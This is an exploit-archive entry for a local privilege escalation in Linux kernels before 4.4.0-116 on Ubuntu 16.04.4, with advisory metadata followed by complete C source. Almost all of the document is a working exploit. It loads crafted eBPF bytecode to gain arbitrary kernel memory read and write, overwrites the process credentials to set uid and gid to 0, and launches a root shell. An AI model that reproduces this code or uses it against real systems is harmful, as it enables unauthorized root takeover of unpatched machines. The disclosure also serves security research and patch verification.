Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) Local Privilege Escalation

2018.03.20
Credit: Bruce Leidl
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

/* * Ubuntu 16.04.4 kernel priv esc * * all credits to @bleidl * - vnik */ // Tested on: // 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 // if different kernel adjust CRED offset + check kernel stack size #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <string.h> #include <linux/bpf.h> #include <linux/unistd.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/un.h> #include <sys/stat.h> #include <stdint.h> #define PHYS_OFFSET 0xffff880000000000 #define CRED_OFFSET 0x5f8 #define UID_OFFSET 4 #define LOG_BUF_SIZE 65536 #define PROGSIZE 328 int sockets[2]; int mapfd, progfd; char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff" "\x55\x09\x02\x00\xff\xff\xff\xff" "\xb7\x00\x00\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x18\x19\x00\x00\x03\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "\xbf\x91\x00\x00\x00\x00\x00\x00" "\xbf\xa2\x00\x00\x00\x00\x00\x00" "\x07\x02\x00\x00\xfc\xff\xff\xff" "\x62\x0a\xfc\xff\x00\x00\x00\x00" "\x85\x00\x00\x00\x01\x00\x00\x00" "\x55\x00\x01\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x79\x06\x00\x00\x00\x00\x00\x00" "\xbf\x91\x00\x00\x00\x00\x00\x00" "\xbf\xa2\x00\x00\x00\x00\x00\x00" "\x07\x02\x00\x00\xfc\xff\xff\xff" "\x62\x0a\xfc\xff\x01\x00\x00\x00" "\x85\x00\x00\x00\x01\x00\x00\x00" "\x55\x00\x01\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x79\x07\x00\x00\x00\x00\x00\x00" "\xbf\x91\x00\x00\x00\x00\x00\x00" "\xbf\xa2\x00\x00\x00\x00\x00\x00" "\x07\x02\x00\x00\xfc\xff\xff\xff" "\x62\x0a\xfc\xff\x02\x00\x00\x00" "\x85\x00\x00\x00\x01\x00\x00\x00" "\x55\x00\x01\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x79\x08\x00\x00\x00\x00\x00\x00" "\xbf\x02\x00\x00\x00\x00\x00\x00" "\xb7\x00\x00\x00\x00\x00\x00\x00" "\x55\x06\x03\x00\x00\x00\x00\x00" "\x79\x73\x00\x00\x00\x00\x00\x00" "\x7b\x32\x00\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x55\x06\x02\x00\x01\x00\x00\x00" "\x7b\xa2\x00\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00" "\x7b\x87\x00\x00\x00\x00\x00\x00" "\x95\x00\x00\x00\x00\x00\x00\x00"; char bpf_log_buf[LOG_BUF_SIZE]; static int bpf_prog_load(enum bpf_prog_type prog_type, const struct bpf_insn *insns, int prog_len, const char *license, int kern_version) { union bpf_attr attr = { .prog_type = prog_type, .insns = (__u64)insns, .insn_cnt = prog_len / sizeof(struct bpf_insn), .license = (__u64)license, .log_buf = (__u64)bpf_log_buf, .log_size = LOG_BUF_SIZE, .log_level = 1, }; attr.kern_version = kern_version; bpf_log_buf[0] = 0; return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); } static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, int max_entries) { union bpf_attr attr = { .map_type = map_type, .key_size = key_size, .value_size = value_size, .max_entries = max_entries }; return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); } static int bpf_update_elem(uint64_t key, uint64_t value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)&key, .value = (__u64)&value, .flags = 0, }; return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); } static int bpf_lookup_elem(void *key, void *value) { union bpf_attr attr = { .map_fd = mapfd, .key = (__u64)key, .value = (__u64)value, }; return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); } static void __exit(char *err) { fprintf(stderr, "error: %s\n", err); exit(-1); } static void prep(void) { mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); if (mapfd < 0) __exit(strerror(errno)); progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0); if (progfd < 0) __exit(strerror(errno)); if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) __exit(strerror(errno)); if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) __exit(strerror(errno)); } static void writemsg(void) { char buffer[64]; ssize_t n = write(sockets[0], buffer, sizeof(buffer)); if (n < 0) { perror("write"); return; } if (n != sizeof(buffer)) fprintf(stderr, "short write: %lu\n", n); } #define __update_elem(a, b, c) \ bpf_update_elem(0, (a)); \ bpf_update_elem(1, (b)); \ bpf_update_elem(2, (c)); \ writemsg(); static uint64_t get_value(int key) { uint64_t value; if (bpf_lookup_elem(&key, &value)) __exit(strerror(errno)); return value; } static uint64_t __get_fp(void) { __update_elem(1, 0, 0); return get_value(2); } static uint64_t __read(uint64_t addr) { __update_elem(0, addr, 0); return get_value(2); } static void __write(uint64_t addr, uint64_t val) { __update_elem(2, addr, val); } static uint64_t get_sp(uint64_t addr) { return addr & ~(0x4000 - 1); } static void pwn(void) { uint64_t fp, sp, task_struct, credptr, uidptr; fp = __get_fp(); if (fp < PHYS_OFFSET) __exit("bogus fp"); sp = get_sp(fp); if (sp < PHYS_OFFSET) __exit("bogus sp"); task_struct = __read(sp); if (task_struct < PHYS_OFFSET) __exit("bogus task ptr"); printf("task_struct = %lx\n", task_struct); credptr = __read(task_struct + CRED_OFFSET); // cred if (credptr < PHYS_OFFSET) __exit("bogus cred ptr"); uidptr = credptr + UID_OFFSET; // uid if (uidptr < PHYS_OFFSET) __exit("bogus uid ptr"); printf("uidptr = %lx\n", uidptr); __write(uidptr, 0); // set both uid and gid to 0 if (getuid() == 0) { printf("spawning root shell\n"); system("/bin/bash"); exit(0); } __exit("not vulnerable?"); } int main(int argc, char **argv) { prep(); pwn(); return 0; }


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